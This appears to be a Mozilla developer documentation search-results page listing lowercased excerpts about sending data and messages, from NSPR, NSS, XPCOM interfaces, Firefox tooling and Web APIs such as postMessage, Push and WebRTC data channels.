...bar and click on the top listing. create a new bug report at bugzilla.mozilla.org using this link. all os as long as you do not need to be in firerfox's safe mode, a user friendly method of crashing firefox is to install and use the addon crash me now! (simple) use the menu button to find the crash me icon and click the icon. firefox crash report ui should appear. please check the box to
send the crash report to mozilla start firefox. type "about:crashes" in the url bar and click on the top listing. create a new bug report at bugzilla.mozilla.org using this link. another way to trigger a crash in a hung tab is to run the following script in the browser console (opened after selecting the hung tab): let wm = cc["@mozilla.org/appshell/window-mediator;1"]. getservice(ci.ns...
QA phase
e switcher add-ons by navigating to tools->language->your localization's language code. restart your browser and start testing! now you should be able to see all of your work up to this point. click here for guidelines on how to test your localization. don't lose your work! your work is so important! we would really hate to see you lose any of it. after you test your localization, you should
send it to a remote repository, which will serve as a backup for your work and will let others follow your progress. we're going to go through the process below. the official localization teams use repositories at hg.mozilla.org. before a team becomes official, we like to get the localizers comfortable with the hg commands that allow for cloning, pulling, committing, and pushing work to an experiment...
... now you're ready to proceed to the release phase! « previousnext » ...
...translated browser/chrome/browser/" $ hg outgoing $ hg push http://hg.mozilla.org/l10n-central/x-testing note that due to the distributed nature of hg, hg commit saves the changes locally (i.e., in your computer's hg repository). you can see the history of commits with hg log. after doing hg commit, you still need to
send the changes to the remote repository. this is where hg push comes in. this
sends your commits to the remote repository. now you're ready to proceed to the release phase! « previousnext » ...
PRLinger
structure used with the pr_sockopt_linger socket option to specify the time interval (in printervaltime units) to linger on closing a socket if any data remain in the socket
send buffer. syntax #include <prio.h> typedef struct prlinger { prbool polarity; printervaltime linger; } prlinger; fields the structure has the following fields: polarity polarity of the option's setting: pr_false means the option is off, in which case the value of linger is ignored. pr_true means the option is on, and the value of linger will be used to determine how long pr_close waits before returning. linger time (in printervaltime units) to linger before closing if any data remain in the socket
send buffer. description by default, pr_close returns immediately, but if there are any data remain...
...ption is off, in which case the value of linger is ignored. pr_true means the option is on, and the value of linger will be used to determine how long pr_close waits before returning. linger time (in printervaltime units) to linger before closing if any data remain in the socket
send buffer. description by default, pr_close returns immediately, but if there are any data remaining in the socket
send buffer, the system attempts to deliver the data to the peer. the pr_sockopt_linger socket option, with a value represented by a structure of type prlinger, makes it possible to change this default as follows: if polarity is set to pr_false, pr_close returns immediately, but if there are any data remaining in the socket
send buffer, the runtime attempts to deliver the data to the peer. if polar...
...possible to change this default as follows: if polarity is set to pr_false, pr_close returns immediately, but if there are any data remaining in the socket
send buffer, the runtime attempts to deliver the data to the peer. if polarity is set to pr_true and linger is set to 0 (pr_interval_no_wait), the runtime aborts the connection when it is closed and discards any data remaining in the socket
send buffer. if polarity is set to pr_true and linger is nonzero, the runtime lingers when the socket is closed. that is, if any data remains in the socket
send buffer, pr_close blocks until either all the data is sent and acknowledged by the peer or the interval specified by linger expires. ...
Index
-s sign a message. arguments option arguments modify an action and are lowercase. -c content use this detached content (decode only). -d dbdir specify the key/certificate database directory (default is ".") -e envfile specify a file containing an enveloped message for a set of recipients to which you would like to
send an encrypted message. if this is the first encrypted message for that set of recipients, a new enveloped message will be created that you can then use for future messages (encrypt only). -g include a signing time attribute (sign only). -h num generate email headers with info about cms message (decode only). -i infile ...
... use outfile as a destination of data (default is stdout). -p include an s/mime capabilities attribute. -p password use password as key database password. -r recipient1,recipient2, ... specify list of recipients (email addresses) for an encrypted or enveloped message. for certificates-only message, list of certificates to
send. -t suppress content in cms message (sign only). -u certusage set type of cert usage (default is certusageemailsigner). -y ekprefnick specify an encryption key preference by nickname. usage encrypt example cmsutil -c [-i infile] [-o outfile] [-d dbdir] [-p password] -r "recipient1,recipient2, . . ." -e envfile decode example cmsutil -d...
...for example: -t "tcu,cu,tuw" use the -l option to see a list of the current certificates and ...
sslerr.html
million question" attack) may be underway against the server. ssl_error_rx_record_too_long -12263 "ssl received a record that exceeded the maximum permissible length." this generally indicates that the remote peer system has a flawed implementation of ssl, and is violating the ssl specification. ssl_error_tx_record_too_long -12262 "ssl attempted to
send a record that exceeded the maximum permissible length." this error should never occur. if it does, it indicates a flaw in the nss ssl library. ssl_error_close_notify_alert -12230 "ssl peer has closed this connection." the local socket received an ssl3 alert record from the remote peer, reporting that the remote peer has chosen to end the connection. the rece...
...likely causes include that the peer has closed the connection. ssl_error_md5_digest_failure -12215 "md5 digest function failed." ssl_error_sha_digest_failure -12214 "sha-1 digest function failed." ssl_error_mac_computation_failure -12213 "message authentication code computation failed." ssl_error_sym_key_context_f...
...ec_error_pkcs12_privacy_password_incorrect -8107 unable to import. incorrect privacy password. sec_error_pkcs12_cert_collision -8106 unable to import. same nickname already exists in database. sec_error_user_cancelled -8105 the user clicked cancel. sec_error_pkcs12_duplicate_data -8104 not imported, already in database. sec_error_message_
send_aborted -8103 message not sent. sec_error_inadequate_key_usage -8102 certificate key usage inadequate for attempted operation. sec_error_inadequate_cert_type -8101 certificate type not approved for application. sec_error_cert_addr_mismatch -8100 address in signing certificate does not match address in message headers. sec_error_pkcs12_un...
sslintro.html
rrupting and restarting socket communications, when the application needs to change socket parameters, or when an application imports a socket into ssl after the tcp connection on that socket has already been established. communication between ssl sockets always begins with the ssl handshake. the handshake occurs automatically the first time communication is requested with a socket read/write or
send/receive call. it is also possible to force the handshake explicitly with ssl_forcehandshake or repeat it explicitly with ssl_rehandshake. once the ssl sockets have been configured, authentication and encryption happen automatically whenever you use the communication functions from the nspr library. a server application typically uses these functions to establish a connection: pr_bind pr_lis...
...p would not be necessary if the socket weren't already connected. for an ssl socket that is configured before it is connected, ssl figures this out when the application calls pr_connect or pr_accept. if the socket is already connected before ssl gets involved, you must provide this extra hint. functions that can be used by both clients and servers during communication include the following: pr_
send or pr_write pr_read or pr_recv pr_geterror pr_getpeername pr_sleep pr_malloc pr_free pr_poll pr_now pr_intervaltomilliseconds pr_millisecondstointerval pr_shutdown pr_close ssl_invalidatesession after establishing a connection, an application first calls pr_
send, pr_recv, pr_read, pr_write, or ssl_forcehandshake to initiate the handshake. the application's protocol (for...
... use ssl_forcehandshake when the socket has been prepared for a handshake but neither end has anything to say immediately. ...
mozISpellCheckingEngine
k-dictionary-update" notification is sent. if the dictionary was set to "no dictionary" (that is, by specifying an empty string), the observer may select another dictionary before returning. language wstring the language this spell checker is using when checking. this is the language of dictionary. read only. when this changes, the spell checker
sends a "spellcheck-dictionary-update" notification. name wstring the name of the engine. not currently used. read only. personaldictionary mozipersonaldictionary the personal dictionary. providespersonaldictionary boolean does the engine provide its own personaldictionary? read only. provideswo...
... engine provide its own word utilities? read only. methods adddirectory() adds all the dictionaries in the specified directory to the spell checker. void adddirectory( nsifile dir ); parameters dir an nsifile object indicating the directory from which to add dictionaries. check() checks a word to determine if it's spelled correctly. when this changes, the spell checker
sends a "spellcheck-dictionary-update" notification. boolean check( in wstring word ); parameters word a word to check for correct spelling. return value returns true if word is spelled correctly according to the dictionary attribute, and returns false if word is misspelled. getdictionarylist() gets the list of dictionaries. void getdictionarylist( [array, size_is(count)] out wstr...
...he length of dictionaries. removedirectory() removes all the dictionaries in the specified directory from the spell checker. void removedirectory( nsifile dir ); parameters dir an nsifile object indicating the directory whose spell checkers are to be removed from the spell checker. suggest() gets a list of suggestions for a misspelled word. when this changes, the spell checker
sends a "spellcheck-dictionary-update" notification. void suggest( in wstring word, [array, size_is(count)] out wstring suggestions, out pruint32 count ); parameters word a word, which is misspelled according to check. suggestions a list of words suggested instead of word. count the length of suggestions. ...
nsIContentSecurityPolicy
ent used to model and enforce content security policies. ...
...parsed and is ready to enforce. this is a barrier for the nsdocument so it doesn't load any sub-content until either it knows that a content security policy is ready or will not be used. policy astring a read-only string version of the policy for debugging. read only. reportonlymode boolean when set to true, content load-blocking and fail-closed are disabled: content security policy will only
send reports, and not modify behavior. methods permitsancestry() verifies ancestry as permitted by the policy. calls to this may trigger violation reports when queried, so this value should not be cached. boolean permitsancestry( in nsidocshell docshell ); parameters docshell containing the protected resource. return value true if the frame's ancestors are all permitted by policy. refinepolicy...
...ed in the string policystring. void refinepolicy( in astring policystring, in nsiuri selfuri ); parameters policystring selfuri scanrequestdata() called after the content security policy object is created to fill in the appropriate request and request header information needed in case a report needs to be sent. void scanrequestdata( in nsihttpchannel achannel ); parameters achannel
sendreports() manually triggers violation report
sending given a uri and reason. the uri may be null, in which case "self" is sent. void
sendreports( in astring blockeduri, in astring violateddirective ); parameters blockeduri the uri that violated the policy. violateddirective the directive that was violated. shouldload() delegate method called by the service when sub-elements of the protected...
nsIFaviconService
expiration time is stored. this will be used if you call setandloadfaviconforpage() to see whether the data needs reloading. do not use this function for "chrome:" icon urls. you should reference the chrome image yourself. the getfaviconlinkforicon() and getfaviconforpage() will ignore any associated data if the favicon uri is "chrome:" and just return the same chrome uri. this function does not
send out notifications that the data has changed. potentially, many pages could be referencing the favicon and they could be visible in a history view or toolbar. but
sending out those notifications is very intensive. those pages will keep the old icon until they have been refreshed by other means. void setfavicondata( in nsiuri afaviconuri, [const,array,size_is(adatalen)] in octet adata, in uns...
... expiration time is stored. this will be used if you call setandloadfaviconforpage() to see whether the data needs reloading. do not use this function for "chrome:" icon urls. you should reference the chrome image yourself. the getfaviconlinkforicon() and getfaviconforpage() will ignore any associated data if the favicon uri is "chrome:" and just return the same chrome uri. this function does not
send out notifications that the data has changed. potentially, many pages could be referencing the favicon and they could be visible in a history view or toolbar. but
sending out those notifications is very intensive. those pages will keep the old icon until they have been refreshed by other means. void setfavicondatafromdataurl( in nsiuri afaviconuri, in astring adataurl, in prtime aexpiration ...
...ave any specified data at this point. an entry linking the favicon with the page will be create with no data. you can populate it later with setfavicondata(). however, any favicons not associated with a visited web page, a bookmark, or a "place:" uri will be expired when history cleanup is done * (typically at app shutdown, but also possibly if the user clears their * cache or history). this will
send out history notifications if the new favicon has any data. this means that you should try to set data first if you have it, otherwise the page might not get a notification sent for it since data setting does not
send notifications. void setfaviconurlforpage( in nsiuri apageuri, in nsiuri afaviconuri ); parameters apageuri uri of the page whose favicon is being set. afaviconuri ...
nsIMessageBroadcaster
idl file: mozilla-central/source/dom/base/nsimessagemanager.idl inherits from: nsimessagelistenermanager message "broadcasters" don't have a single "other side" that they
send messages to, but rather a set of subordinate message managers. for example, broadcasting a message through a window message manager will broadcast the message to all frame message managers within its window. see message manager interfaces for more details on the distinction between message
senders and message broadcasters. methods void broadcastasyncmessage([optional] in astring messagename, [optional] in jsval obj, [optional] in jsval objects); nsimessagelistenermanager getchildat(in unsigned long aindex); broadcastasyncmessage() lik...
...e manager interfaces for more details on the distinction between message
senders and message broadcasters. methods void broadcastasyncmessage([optional] in astring messagename, [optional] in jsval obj, [optional] in jsval objects); nsimessagelistenermanager getchildat(in unsigned long aindex); broadcastasyncmessage() like
sendasyncmessage(), but also broadcasts this message to all "child" message managers of this message manager. see nsimessagelistener::receivemessage() for the format of the data delivered to listeners. warning: broadcasting messages can be very expensive and leak sensitive data. use with extreme caution. throws ns_error_not_initialized if the
sender is not initialized. for example, we will throw ...
...is message to all "child" message managers of this message manager. see nsimessagelistener::receivemessage() for the format of the data delivered to listeners. warning: broadcasting messages can be very expensive and leak sensitive data. use with extreme caution. throws ns_error_not_initialized if the
sender is not initialized. for example, we will throw ns_error_not_initialized if we try to
send a message to a cross-process frame but the other process has not yet been set up. throws ns_error_failure when the message receiver cannot be found. for example, we will throw ns_error_failure if we try to
send a message to a cross-process frame whose process has crashed. parameters name type description messagename string the name of the message. optional.
nsIMessageListener
idl file: mozilla-central/source/dom/base/nsimessagemanager.idl inherits from: nsisupports this interface is used to receive messages sent using the nsimessagebroadcaster, nsimessage
sender, or nsisyncmessage
sender interfaces. listeners are attached using the nsimessagelistenermanager interface. methods void receivemessage(); receivemessage() this is for js only. this function receives a message from one of the three message-
sending functions in the message manager framework: broadcastasyncmessage
sendasyncmessage
sendsyncmessage. the received message is an object with the following properties: target the target of the message. either an element owning the message manager, or the message manager itself if no element owns it. if the message wa...
... the target of the message. either an element owning the message manager, or the message manager itself if no element owns it. if the message was sent from a frame script using a nsicontentframemessagemanager, then this property is the xul <browser> element for the frame from which the message was sent. name the message name. ...
...ger, or the message manager itself if no element owns it. if the message was sent from a frame script using a nsicontentframemessagemanager, then this property is the xul <browser> element for the frame from which the message was sent. name the message name. this is the first argument passed into the message-
sending function. sync true if the message was sent using
sendsyncmessage, false otherwise. data a structured clone of the message payload: the second argument passed into the message-
sending function. json same as data. deprecated. objects an object whose properties are any cross process object wrappers exposed by the
sender as the third argument to the message-
sending function. principal principal for the win...
nsISmsDatabaseService
rits from: nsisupports last changed in gecko 15.0 (firefox 15.0 / thunderbird 15.0 / seamonkey 2.12) implemented by: @mozilla.org/sms/smsdatabaseservice;1. ...
...abody a domstring containing the body text of the message. adate the timestamp of the message. savesentmessage() void savesentmessage( in domstring a receiver, in domstring abody, in unsigned long long adate ); parameters areceiver a domstring with the receiver ...
...st(in long listid, in long requestid, [optional] in unsigned long long processid); void clearmessagelist(in long listid); void markmessageread(in long messageid, in boolean value, in long requestid, [optional] in unsigned long long processid) methods savereceivedmessage() void savereceivedmessage( in domstring a
sender, in domstring abody, in unsigned long long adate ); parameters a
sender a domstring with the
sender of the text message. abody a domstring containing the body text of the message. adate the timestamp of the message. savesentmessage() void savesentmessage( in domstring a receiver, in domstring abody, in unsigned long long adate ); parameters areceiver a domstring with the receiver of the text message. abody a domstring containing the body text of the messag...
nsIWebSocketChannel
read only. loadgroup nsiloadgroup the load group of the websockets code. notificationcallbacks nsiinterfacerequestor the notification callbacks for authori...
...read only. loadgroup nsiloadgroup the load group of the websockets code. notificationcallbacks nsiinterfacerequestor the notification callbacks for authorization and so forth. originaluri ns...
... alistener the nsiwebsocketlistener implementation. acontext an opaque parameter forwarded to alistener's methods. close() void close( in unsigned short acode, in autf8string areason ); parameters acode the status of the connection when closed; see status codes for possible values. areason a human-readable string describing the reason the connection closed.
sendbinarymsg()
sends a binary message to the websocket peer. void
sendbinarymsg( in acstring amsg ); parameters amsg the data to
send.
sendmsg()
sends a text message to the websocket peer. void
sendmsg( in autf8string amsg ); parameters amsg the utf-8 string to
send. see also websockets websocket ...
nsIWebSocketListener
onbinarymessageavailable() called when a binary message has been received. void onbinarymessageavailable( in nsisupports acontext, in acstring amsg ); parameters aco...
...lable(in nsisupports acontext, in autf8string amsg); void onserverclose(in nsisupports acontext, in unsigned short acode, in autf8string areason); void onstart(in nsisupports acontext); void onstop(in nsisupports acontext, in nsresult astatuscode); methods onacknowledge() called to acknowledge a message sent via nsiwebsocketchannel.
sendmsg() or nsiwebsocketchannel.
sendbinarymsg(). void onacknowledge( in nsisupports acontext, in pruint32 asize ); parameters acontext user defined context. asize number of bytes placed in os
send buffer. onbinarymessageavailable() called when a binary message has been received. void onbinarymessageavailable( in nsisupports acontext, in acstring amsg ); parameters acontext user defined context. ...
...ontext, in acstring amsg ); parameters acontext user defined context. amsg the message data. onmessageavailable() called when a text message has been received. void onmessageavailable( in nsisupports acontext, in autf8string amsg ); parameters acontext user defined context. amsg the message data, as a utf-8 string. onserverclose() called when the server
sends a close message. in the case of errors, onstop() may be called without this method ever getting called. no additional messages through onmessageavailable(), onbinarymessageavailable()() or onacknowledge()() will be delievered to the listener after onserverclose() is called, but outgoing messages can still be sent through the nsiwebsocketchannel connection. void onserverclose( in nsisupports ac...
XPCOM Interface Reference
leservicensilogininfonsiloginmanagernsiloginmanagercryptonsiloginmanageriemigrationhelpernsiloginmanagerprompternsiloginmanagerstoragensiloginmetainfonsimimeinputstreamnsimacdocksupportnsimarkupdocumentviewernsimemorynsimemorymultireporternsimemorymultireportercallbacknsimemoryreporternsimemoryreportermanagernsimenuboxobjectnsimessagebroadcasternsimessagelistenernsimessagelistenermanagernsimessage
sendernsimessagewakeupservicensimessengernsimicrosummarynsimicrosummarygeneratornsimicrosummaryobservernsimicrosummaryservicensimicrosummarysetnsimimeconverternsimimeheadersnsimodulensimsgaccountnsimsgaccountmanagerextensionnsimsgcompfieldsnsimsgcustomcolumnhandlernsimsgdbhdrnsimsgdbviewnsimsgdbviewcommandupdaternsimsgdatabasensimsgfilternsimsgfiltercustomactionnsimsgfilterlistnsimsgfoldernsimsgheader...
...tensionnsimsgcompfieldsnsimsgcustomcolumnhandlernsimsgdbhdrnsimsgdbviewnsimsgdbviewcommandupdaternsimsgdatabasensimsgfilternsimsgfiltercustomactionnsimsgfilterlistnsimsgfoldernsimsgheaderparsernsimsgidentitynsimsgincomingservernsimsgmessageservicensimsgprotocolinfonsimsgruleactionnsimsgsearchcustomtermnsimsgsearchnotifynsimsgsearchscopetermnsimsgsearchsessionnsimsgsearchtermnsimsgsearchvaluensimsg
sendlaternsimsgthreadnsimsgwindownsimsgwindowcommandsnsimutablearraynsinavbookmarkobservernsinavbookmarksservicensinavhistorybatchcallbacknsinavhistorycontainerresultnodensinavhistoryfullvisitresultnodensinavhistoryobservernsinavhistoryquerynsinavhistoryqueryoptionsnsinavhistoryqueryresultnodensinavhistoryresultnsinavhistoryresultnodensinavhistoryresultobservernsinavhistoryresulttreeviewernsinavhistor...
...portsarraynsisupportscstringnsisupportscharnsisupportsdoublensisupportsfloatnsisupportsidnsisupportsinterfacepointernsisupportsprboolnsisupportsprint16nsisupportsprint32nsisupportsprint64nsisupportsprtimensisupportspruint8nsisupportspruint16nsisupportspruint32nsisupportspruint64nsisupportsprimitivensisupportsprioritynsisupportsstringnsisupportsvoidnsisupportsweakreferencensisyncjpakensisyncmessage
sendernsitxttohtmlconvnsitaggingservicensitaskbarpreviewnsitaskbarpreviewbuttonnsitaskbarpreviewcontrollernsitaskbarprogressnsitaskbartabpreviewnsitaskbarwindowpreviewnsitelemetrynsitextinputprocessornsitextinputprocessorcallbacknsitextinputprocessornotificationnsithreadnsithreadeventfilternsithreadinternalnsithreadmanagernsithreadobservernsithreadpoolnsithreadpoollistenernsitimernsitimercallbacknsito...
Activity Manager examples
r<nsiactivitymanager> activitymgr(do_getservice("@mozilla.org/activity-manager;1")); pruint32 id; activitymgr->addactivity(copyevent, &id); adding an activity with a custom context type this sample shows how to provide a custom context type for junk processing. as a result, all junk processing activities (assuming that we process accounts in parallel) dealing with messages coming from the same
sender will be grouped together. (this example seems to be outdated and not working, see bug 557467 comment 1.) //optional: define some convenience constants const nsactprocess = components.constructor("@mozilla.org/activity-process;1", "nsiactivityprocess", "init"); const nsactevent = components.constructor("@mozilla.org/activity-event;1", ...
....constructor("@mozilla.org/activity-process;1", "nsiactivityprocess", "init"); const nsactevent = components.constructor("@mozilla.org/activity-event;1", "nsiactivityevent", "init"); // step 1: implement nsiactivitycontextdisplayhelper to show a // customized display text for our context type function
sendercontextdisplayhelper() { // user stuff here.. }
sendercontextdisplayhelper.prototype = { getcontextdisplaytext: function(contexttype, contextobj) { // in this particular example we know that contexttype is "
sender" // since we also pass the contexttype along with the contextobject // in some cases, one helper can be registered for a group of context types // we know that the cont...
... along with the contextobject // in some cases, one helper can be registered for a group of context types // we know that the context object is the author of the message // localization is omitted return "messages coming from " + contextobj.surname + ", " + contextobj.firstname; } } // step 2: register the helper for this context type gactivitymanager.registercontextdisplayhelper("
sender", new
sendercontextdisplayhelper()); // step 3: create the process ... let process = new nsactprocess("processing folder: " + folder.prettiestname, gjunkprocessor); process.cancelhandler = new canceljunkprocess(); // folder is being filtered/processed process.addsubject(folder); process.contexttype = "
sender"; // as...
Network request list - Firefox Developer Tools
for this request, to the clipboard. copy > copy response copies the entire response that was sent for this request. copy > copy all as har creates an http archive (har) for all requests listed, and copies it to the clipboard. save all as har creates an http archive (har) for all requests listed, and opens a file dialog, so you can save it to a file. ...
...request, to the clipboard. copy > copy response copies the entire response that was sent for this request. copy > copy all as har creates an http archive (har) for all requests listed, and copies it to the clipboard. save all as har creates an http archive (har) for all requests listed, and opens a file dialog, so you can save it to a file. ...
... that was sent for this request. copy > copy all as har creates an http archive (har) for all requests listed, and copies it to the clipboard. save all as har creates an http archive (har) for all requests listed, and opens a file dialog, so you can save it to a file. re
send re
sends the request as it was originally sent with no changes made. edit and re
send opens an editor enabling you to edit the request's method, url, parameters, and headers, and re
send the request. block url blocks the selected url for future requests. see blocking a specific url from the request list. open in new tab re
sends the request in a new tab — very useful for debugging asynchronous requests. open in style editor for a css resource...
BroadcastChannel: message event - Web APIs
the message event is fired on a broadcastchannel object when a message arrives on that channel. bubbles no cancelable no interface messageevent event handler property onmessage examples live example in this example there's a "
sender" <iframe> that broadcasts the contents of a <textarea> when the user clicks a button. there are two "receiver" iframes that listen to the broadcast message and write the result into a <div> element. ...
...nel. bubbles no cancelable no interface messageevent event handler property onmessage examples live example in this example there's a "
sender" <iframe> that broadcasts the contents of a <textarea> when the user clicks a button. there are two "receiver" iframes that listen to the broadcast message and write the result into a <div> element. ...
... bubbles no cancelable no interface messageevent event handler property onmessage examples live example in this example there's a "
sender" <iframe> that broadcasts the contents of a <textarea> when the user clicks a button. there are two "receiver" iframes that listen to the broadcast message and write the result into a <div> element. ...
Client.postMessage() - Web APIs
the postmessage() method of the client interface allows a service worker to
send a message to a client (a window, worker, or sharedworker). the message is received in the "message" event on navigator.serviceworker. syntax client.postmessage(message[, transfer]); client.postmessage(message[, { transfer }]); parameters message the message to
send to the client. this can be any structured-clonable type. transfer optional a sequence of objects that are transferred with the message. the ownership of these objects is given to the destination side and they are no longer usable on the
sending side. return value undefined. ...
... // eg, if it's cross-origin. if (!event.clientid) return; // get the client. ...
...worker to a client: addeventlistener('fetch', event => { event.waituntil(async function() { // exit early if we don't have access to the client. // eg, if it's cross-origin. if (!event.clientid) return; // get the client. const client = await clients.get(event.clientid); // exit early if we don't get the client. // eg, if it closed. if (!client) return; //
send a message to the client. client.postmessage({ msg: "hey i just got a fetch from you!", url: event.request.url }); }()); }); receiving that message: navigator.serviceworker.addeventlistener('message', event => { console.log(event.data.msg, event.data.url); }); specifications specification status comment service workersthe definition of 'p...
DedicatedWorkerGlobalScope.postMessage() - Web APIs
syntax postmessage(amessage, transferlist); parameters amessage the object to deliver to the main thread; this will be in the data field in the event delivered to the worker.onmessage handler. ...
... syntax postmessage(amessage, transferlist); parameters amessage the object to deliver to the main thread; this will be in the data field in the event delivered to the worker.onmessage handler. ...
...g('posting message back to main script'); postmessage(workerresult); } in the main script, onmessage would have to be called on a worker object, whereas inside the worker script you just need onmessage because the worker is effectively the global scope (dedicatedworkerglobalscope). for a full example, see ourbasic dedicated worker example (run dedicated worker). note: postmessage() can only
send a single object at once. as seen above, if you want to pass multiple values you can
send an array. specifications specification status comment html living standardthe definition of 'dedicatedworkerglobalscope.postmessage()' in that specification. living standard ...
EventSource - Web APIs
the connection remains open until closed by calling eventsource.close(). once the connection is opened, incoming messages from the server are delivered to your code in the form of events. if there is an event field in the incoming message, the triggered event is the same as the event field value. if no event field is present, then a generic message event is fired. ...
...event field in the incoming message, the triggered event is the same as the event field value. if no event field is present, then a generic message event is fired. unlike websockets, server-sent events are unidirectional; that is, data messages are delivered in one direction, from the server to the client (such as a user's web browser). that makes them an excellent choice when there's no need to
send data from the client to the server in message form. for example, eventsource is a useful approach for handling things like social media status updates, news feeds, or delivering data into a client-side storage mechanism like indexeddb or web storage. when not used over http/2, sse suffers from a limitation to the maximum number of open connections, which can be specially painful when opening va...
...ntsource.close() closes the connection, if any, and sets the readystate attribute to closed. if the connection is already closed, the method does nothing. events error fired when a connection to an event source failed to open. message fired when data is received from an event source. open fired when a connection to an event source has opened. additionally, the event source itself may
send messages with an event field, which will create ad-hoc events keyed to that value. examples in this basic example, an eventsource is created to receive unnamed events from the server; a page with the name sse.php is responsible for generating the events. var evtsource = new eventsource('sse.php'); var eventlist = document.queryselector('ul'); evtsource.onmessage = function(e) { var neweleme...
Using the Notifications API - Web APIs
this article looks at the basics of using this api in your own apps. typically, system notifications refer to the operating system's standard notification mechanism: think for example of how a typical desktop system or mobile device broadcasts notifications. ...
... another application. many examples of this now exist, such as slack. we've written a real world example — a to-do list app — to give more of an idea of how web notifications can be used. it stores data locally using indexeddb and notifies users when tasks are due using system notifications. download the to-do list code, or view the app running live. requesting permission before an app can
send a notification, the user must grant the application the right to do so. this is a common requirement when an api tries to interact with something outside a web page — at least once, the user needs to specifically grant that application permission to present notifications, thereby letting the user control which apps/sites are allowed to display notifications. because of abuses of push notificat...
... var interval = window.setinterval(function () { // thanks to the tag, we should only see the "hi! 9" notification var n = new notificat...
Push API - Web APIs
icles for more information: cross-site request forgery (csrf) prevention cheat sheet preventing csrf and xsrf attacks for an app to receive push messages, it has to have an active service worker. when the service worker is active, it can subscribe to push notifications, using pushmanager.subscribe(). the resulting pushsubscription includes all the information that the application needs to
send a push message: an endpoint and the encryption key needed for
sending data. the service worker will be started as necessary to handle incoming push messages, which are delivered to the serviceworkerglobalscope.onpush event handler. this allows apps to react to push messages being received, for example, by displaying a notification (using serviceworkerregistration.shownotification().) each subsc...
...es, which are delivered to the serviceworkerglobalscope.onpush event handler. this allows apps to react to push messages being received, for example, by displaying a notification (using serviceworkerregistration.shownotification().) each subscription is unique to a service worker. the endpoint for the subscription is a unique capability url: knowledge of the endpoint is all that is necessary to
send a message to your application. the endpoint url therefore needs to be kept secret, or other applications might be able to
send push messages to your application. activating a service worker to deliver a push message can result in increased resource usage, particularly of the battery. different browsers have different schemes for handling this, there is currently no standard mechanism. firefox al...
...d. note: as of gecko 44, the allowed quota of push messages per application is not incremented when a new notification fires, when another is still visible, for a period of three seconds. this handles cases where a burst of push messages is received, and not all generate a visible notification. note: chrome versions earlier than 52 require you to set up a project on google cloud messaging to
send push messages, and use the associated project number and api key when
sending push notifications. it also requires an app manifest, with some special parameters to use this service. interfaces pushevent represents a push action, sent to the global scope of a serviceworker. it contains information sent from an application to a pushsubscription. pushmanager provides a way to receive notific...
RTCDataChannel.onbufferedamountlow - Web APIs
atachannel.onbufferedamountlow = function; value a function which the browser will call to handle the bufferedamountlow event. this function receives as its only input parameter a simple event object representing the event which has occurred. ...
... value a function which the browser will call to handle the bufferedamountlow event. this function receives as its only input parameter a simple event object representing the event which has occurred. example this example responds to the bufferedamountlow event by fetching up to 64kb of a file represented by an object source and calling rtcdatachannel.
send() to queue up the retrieved data for
sending on the data channel. ...
...this function receives as its only input parameter a simple event object representing the event which has occurred. example this example responds to the bufferedamountlow event by fetching up to 64kb of a file represented by an object source and calling rtcdatachannel.
send() to queue up the retrieved data for
sending on the data channel. pc = new rtcpeerconnection(); dc = pc.createdatachannel("
sendfile"); /* ... */ dc.onbufferedamountlow = function() { if (source.position <= source.length) { dc.
send(source.readfile(65536)); } } specifications specification status comment webrtc 1.0: real-time communication between browsersthe definition of 'rtcdatachannel.onbufferedamountlow' in that specification. candidate recommendation initial specification.
RTCDataChannel: open event - Web APIs
the webrtc open event is sent to an rtcdatachannel object's onopen event handler when the underlying transport used to
send and receive the data channel's messages is opened or re-opened. bubbles no cancelable no interface rtcdatachannelevent event handler property onopen examples this example adds to the rtcdatachannel dc a handler for the open event that adjusts the user interface to indicate that a chat window is ready to be used after a connection has been established. it enables the message input box and
send button as well as enabling the disconnect button and disabling the connect button. finally, the message input box is focused so the user can immediately begin to type. dc.addeventlistener("open", ev => { messageinputbox.dis...
...sts the user interface to indicate that a chat window is ready to be used after a connection has been established. it enables the message input box and
send button as well as enabling the disconnect button and disabling the connect button. finally, the message input box is focused so the user can immediately begin to type. dc.addeventlistener("open", ev => { messageinputbox.disabled = false;
sendmessagebutton.disabled = false; disconnectbutton.disabled = false; connectbutton.disabled = true; messageinputbox.focus(); }, false); this can also be done by directly setting the value of the channel's onopen event handler property. ...
...ely begin to type. dc.addeventlistener("open", ev => { messageinputbox.disabled = false;
sendmessagebutton.disabled = false; disconnectbutton.disabled = false; connectbutton.disabled = true; messageinputbox.focus(); }, false); this can also be done by directly setting the value of the channel's onopen event handler property. ...
RTCInboundRtpStreamStats.pliCount - Web APIs
the plicount property of the rtcinboundrtpstreamstats dictionary states the number of times the rtcrtpreceiver described by these statistics sent a picture loss indication (pli) packet to the
sender. a pli packet indicates that some amount of encoded video data has been lost for one or more frames. syntax var plicount = rtcinboundrtpstreamstats.plicount; value an integer value indicating the number of times a pli packet was sent by the rtcrtpreceiver to the
sender. ...
...ent a picture loss indication (pli) packet to the
sender. a pli packet indicates that some amount of encoded video data has been lost for one or more frames. syntax var plicount = rtcinboundrtpstreamstats.plicount; value an integer value indicating the number of times a pli packet was sent by the rtcrtpreceiver to the
sender. these are sent by the receiver's decoder to notify the encoder (the
sender) that an undefined amount of coded video data, which may span frame boundaries, has been lost. this information is only available for video streams. this may trigger the
sender to
send a full frame in order to allow the receiver to re-synchronize, since lost data may be an irrecoverable situation for decoding media. ...
...this is often achieved by methods such as increasing the compression, lowering resolution, or finding other ways to reduce the bit rate of the stream. ...
RTCInboundRtpStreamStats - Web APIs
yload was discarded. fecpacketsreceived an integer value indicating the total number of rtp fec packets received for this source. this counter may also be incremented when fec packets arrive in-band along with media content; this can happen with opus, for example. fircount an integer value which indicates the total number of full intra request (fir) packets which this receiver has sent to the
sender. this is an indicator of how often the stream has lagged, requiring frames to be skipped in order to catch up. this value is only available for video streams. framesdecoded a long integer value indicating the total number of frames of video which have been correctly decoded so far for this media source. this is the number of frames that would have been rendered if none were dropped. only vali...
...e packets are not counted by packetsdiscarded. perdscppacketsreceived a record of key-value pairs with strings as the keys mapped to 32-bit integer values, each indicating the total number of packets this receiver has received on this rtp stream from this source for each differentiated services code point (dscp). plicount an integer specifying the number of times the receiver has notified the
sender that some amount of encoded video data for one or more frames has been lost, using picture loss indication (pli) packets. this is only available for video streams. qpsum a 64-bit value containing the sum of the qp values for every frame decoded by this rtp receiver. you can determine the average qp per frame by dividing this value by framesdecoded. valid only for video streams. receiverid a...
